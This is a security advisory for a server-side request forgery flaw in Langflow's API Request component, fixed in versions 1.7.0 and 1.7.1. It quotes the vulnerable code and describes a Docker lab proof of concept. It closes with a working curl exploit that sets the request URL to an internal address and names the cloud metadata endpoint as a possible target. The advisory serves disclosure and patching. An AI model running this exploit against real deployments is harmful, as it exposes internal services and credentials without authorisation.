| Package | Affected versions | Patched versions |
|---|---|---|
| langflow | < 1.7.1 | 1.7.1 |
| langflow | < 1.7.0 | 1.7.0 |
Vulnerability Overview
Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.
Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.
Vulnerable Code
When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.
@router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True)
async def simplified_run_flow(
*,
background_tasks: BackgroundTasks,
flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],
input_request: SimplifiedAPIRequest | None = None,
stream: bool = False,
api_key_user: Annotated[UserRead, Depends(api_key_security)],
context: dict | None = None,
http_request: Request,
):
@router.post(
"/run/advanced/{flow_id_or_name}",
response_model=RunResponse,
response_model_exclude_none=True,
)
async def experimental_run_flow(
*,
session: DbSession,
flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],
inputs: list[InputValueRequest] | None = None,
outputs: list[str] | None = None,
tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,
stream: Annotated[bool, Body(embed=True)] = False,
session_id: Annotated[None | str, Body(embed=True)] = None,
api_key_user: Annotated[UserRead, Depends(api_key_security)],
) -> RunResponse:
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Scan my site freeNormalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.
def _normalize_url(self, url: str) -> str:
"""Normalize URL by adding https:// if no protocol is specified."""
if not url or not isinstance(url, str):
msg = "URL cannot be empty"
raise ValueError(msg)
url = url.strip()
if url.startswith(("http://", "https://")):
return url
return f"https://{url}"
url = self._normalize_url(url)
# Validate URL
if not validators.url(url):
msg = f"Invalid URL provided: {url}"
raise ValueError(msg)
On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].
try:
# Prepare request parameters
request_params = {
"method": method,
"url": url,
"headers": headers,
"json": processed_body,
"timeout": timeout,
"follow_redirects": follow_redirects,
}
response = await client.request(**request_params)
# Base metadata
metadata = {
"source": url,
"status_code": response.status_code,
"response_headers": response_headers,
}
# Handle response content
if is_binary:
result = response.content
else:
try:
result = response.json()
except json.JSONDecodeError:
self.log("Failed to decode JSON response")
result = response.text.encode("utf-8")
metadata["result"] = result
if include_httpx_metadata:
metadata.update({"headers": headers})
return Data(data=metadata)
PoC Description
langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.PoC
Langflow Setting
<img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" />Exploit
curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \
-H 'Content-Type: application/json' \
-H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \
--data-raw '{
"inputs":[{"components":[],"input_value":""}],
"outputs":["Chat Output"],
"tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}},
"stream":false
}' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'